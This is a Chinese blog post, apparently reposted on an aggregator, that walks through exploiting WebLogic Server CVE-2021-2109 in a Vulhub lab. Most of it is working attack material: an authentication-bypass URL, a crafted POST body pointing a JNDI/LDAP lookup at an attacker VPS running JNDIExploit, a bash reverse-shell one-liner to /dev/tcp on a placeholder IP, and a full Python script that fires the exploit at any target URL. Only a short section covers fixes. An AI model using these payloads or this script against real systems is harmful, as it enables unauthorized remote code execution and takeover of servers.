Weblogic Server远程代码执行漏洞(CVE-2021-2109 )复现

2023-11-28 00:59

本文主要是介绍Weblogic Server远程代码执行漏洞(CVE-2021-2109 )复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一. 漏洞描述

二. 影响版本

三. 测试环境搭建

四. 漏洞复现

1. 远程命令执行

2. 反弹shell

五. 漏洞修复

六. 漏洞检测POC


一. 漏洞描述

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
       该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

二. 影响版本

  • Weblogic Server 10.3.6.0.0
  • Weblogic Server 12.1.3.0.0
  • Weblogic Server 12.2.1.3.0
  • Weblogic Server 12.2.1.4.0
  • Weblogic Server 14.1.1.0.0

 

三. 测试环境搭建

使用Vulhub的CVE-2020-14882(weblogic:12.2.1.3版本)漏洞环境来复现,如下启动漏洞环境。

docker-compose up -d

访问:7001/console,如下说明环境搭建成功

四. 漏洞复现

1. 远程命令执行

1.1 下载LDAP工具,地址:https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

注:运行ldap需要java1.8环境,执行java -version查看jdk版本

我把工具放在了阿里云的vps上,开启监听

java -jar JNDIExploit-v1.11.jar -i vps的ip

注意:如果是用的vps的话,安全组一定要放行1389和8080端口端口,我一开始一直没复现成功,后面才发现是没有放行端口,以至于vps接收不到数据

1.2 访问  /console/css/%252e%252e%252f/consolejndi.portal   (CVE-2020-14882存在未授权访问漏洞)

截取数据包发送到重放模块,将请求发送换为post

1.3 将get改为post,并在请求头中添加cmd:id ,中并构造以下数据包。其中xx.xx.xx;xx 为vps的ip,注意第三个是为;分号不是.点

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xx.xx.xx;xx:1389/Basic/WeblogicEcho;AdminServer%22)

 发送数据后,vps开启的监听就会有反应

执行了命令

 

2. 反弹shell

1. 将上面请求头中cmd字段的值改为反弹shell的语句

bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 

进行编码,网址:http://www.jackson-t.ca/runtime-exec-payloads.html

2. nc开启监听

3. 发送数据

 

五. 漏洞修复

1、建议用户及时将 Weblogic 后台/console/console.portal 对外的访问权限暂时关闭。
2、此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

3、由于是通过JNDI注入进行远程命令执行,所以受到JDK版本的影响,建议升级Weblogic Server运行环境的JDK版本

六. 漏洞检测POC

usage: python poc.py 目标地址  vps地址

#author:xcc
import requests
import os
import argparse
def url():parser = argparse.ArgumentParser(description='(CVE-2021-2109)Weblogic Server远程代码执行漏洞POC')parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:7001')parser.add_argument('vps',type=str,help="The vps ip address of listening,example: xx.xx.xx.xx")args = parser.parse_args() global urlglobal vpsurl = args.target_urlvps = args.vps#检测输入的url的正确性if url.startswith('http://') or url.startswith('https://'):passelse:print('[-]Please include http:// or https:// in the URL!!')os._exit(0)if url.endswith('/'):url = url[:-1]print('[+]author:chenchen')print("[-](CVE-2021-2109 )Weblogic Server远程代码执行漏洞POC",)print("[-]正在执行检测...")print("[-]目标地址:",url)print("[-]vps地址:",vps)return urlreturn vps
def poc(url):headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'}url = url + '/console/css/%252e%252e%252f/consolejndi.portal'try:code = requests.get(headers=headers,url=url,timeout=10).status_codeif code == 200:passelse:print('[-]不存在漏洞')os._exit(0)except:print("[-]发生错误")c= vps.rsplit('.',1)vps_1 = c[0]+';'+c[1]headers={'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','cmd': 'id','Upgrade-Insecure-Requests': '1','Content-Type': 'application/x-www-form-urlencoded','Content-Length': '175'}data= f'_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://{vps_1}:1389/Basic/WeblogicEcho;AdminServer%22)'try:response = requests.post(url=url,headers=headers,data=data,timeout=8).textif "uid" in response and "gid" in response:print("[+]存在(CVE-2021-2109 )Weblogic Server远程代码执行漏洞")else:print("[-]漏洞不存在")except:print('[-]发生错误!')
if __name__ == '__main__':url()poc(url)

——心,若没有栖息的地方,到哪都是流浪

 

这篇关于Weblogic Server远程代码执行漏洞(CVE-2021-2109 )复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/qq_44159028/article/details/114305363
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/428784

相关文章

Java实现远程执行Shell指令

《Java实现远程执行Shell指令》文章介绍使用JSch在SpringBoot项目中实现远程Shell操作,涵盖环境配置、依赖引入及工具类编写,详解分号和双与号执行多指令的区别... 目录软硬件环境说明编写执行Shell指令的工具类总结jsch(Java Secure Channel)是SSH2的一个纯J

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

Python 基于http.server模块实现简单http服务的代码举例

《Python基于http.server模块实现简单http服务的代码举例》Pythonhttp.server模块通过继承BaseHTTPRequestHandler处理HTTP请求,使用Threa... 目录测试环境代码实现相关介绍模块简介类及相关函数简介参考链接测试环境win11专业版python

Mac电脑如何通过 IntelliJ IDEA 远程连接 MySQL

《Mac电脑如何通过IntelliJIDEA远程连接MySQL》本文详解Mac通过IntelliJIDEA远程连接MySQL的步骤,本文通过图文并茂的形式给大家介绍的非常详细,感兴趣的朋友跟... 目录MAC电脑通过 IntelliJ IDEA 远程连接 mysql 的详细教程一、前缀条件确认二、打开 ID

SQL Server 查询数据库及数据文件大小的方法

《SQLServer查询数据库及数据文件大小的方法》文章介绍了查询数据库大小的SQL方法及存储过程实现,涵盖当前数据库、所有数据库的总大小及文件明细,本文结合实例代码给大家介绍的非常详细,感兴趣的... 目录1. 直接使用SQL1.1 查询当前数据库大小1.2 查询所有数据库的大小1.3 查询每个数据库的详

Spring Boot 整合 SSE(Server-Sent Events)实战案例(全网最全)

《SpringBoot整合SSE(Server-SentEvents)实战案例(全网最全)》本文通过实战案例讲解SpringBoot整合SSE技术,涵盖实现原理、代码配置、异常处理及前端交互,... 目录Spring Boot 整合 SSE(Server-Sent Events)1、简述SSE与其他技术的对

SQL Server跟踪自动统计信息更新实战指南

《SQLServer跟踪自动统计信息更新实战指南》本文详解SQLServer自动统计信息更新的跟踪方法,推荐使用扩展事件实时捕获更新操作及详细信息,同时结合系统视图快速检查统计信息状态,重点强调修... 目录SQL Server 如何跟踪自动统计信息更新:深入解析与实战指南 核心跟踪方法1️⃣ 利用系统目录

SQL Server 中的 WITH (NOLOCK) 示例详解

《SQLServer中的WITH(NOLOCK)示例详解》SQLServer中的WITH(NOLOCK)是一种表提示,等同于READUNCOMMITTED隔离级别,允许查询在不获取共享锁的情... 目录SQL Server 中的 WITH (NOLOCK) 详解一、WITH (NOLOCK) 的本质二、工作

SQL Server安装时候没有中文选项的解决方法

《SQLServer安装时候没有中文选项的解决方法》用户安装SQLServer时界面全英文,无中文选项,通过修改安装设置中的国家或地区为中文中国,重启安装程序后界面恢复中文,解决了问题,对SQLSe... 你是不是在安装SQL Server时候发现安装界面和别人不同,并且无论如何都没有中文选项?这个问题也

SQL server数据库如何下载和安装

《SQLserver数据库如何下载和安装》本文指导如何下载安装SQLServer2022评估版及SSMS工具,涵盖安装配置、连接字符串设置、C#连接数据库方法和安全注意事项,如混合验证、参数化查... 目录第一步:打开官网下载对应文件第二步:程序安装配置第三部:安装工具SQL Server Manageme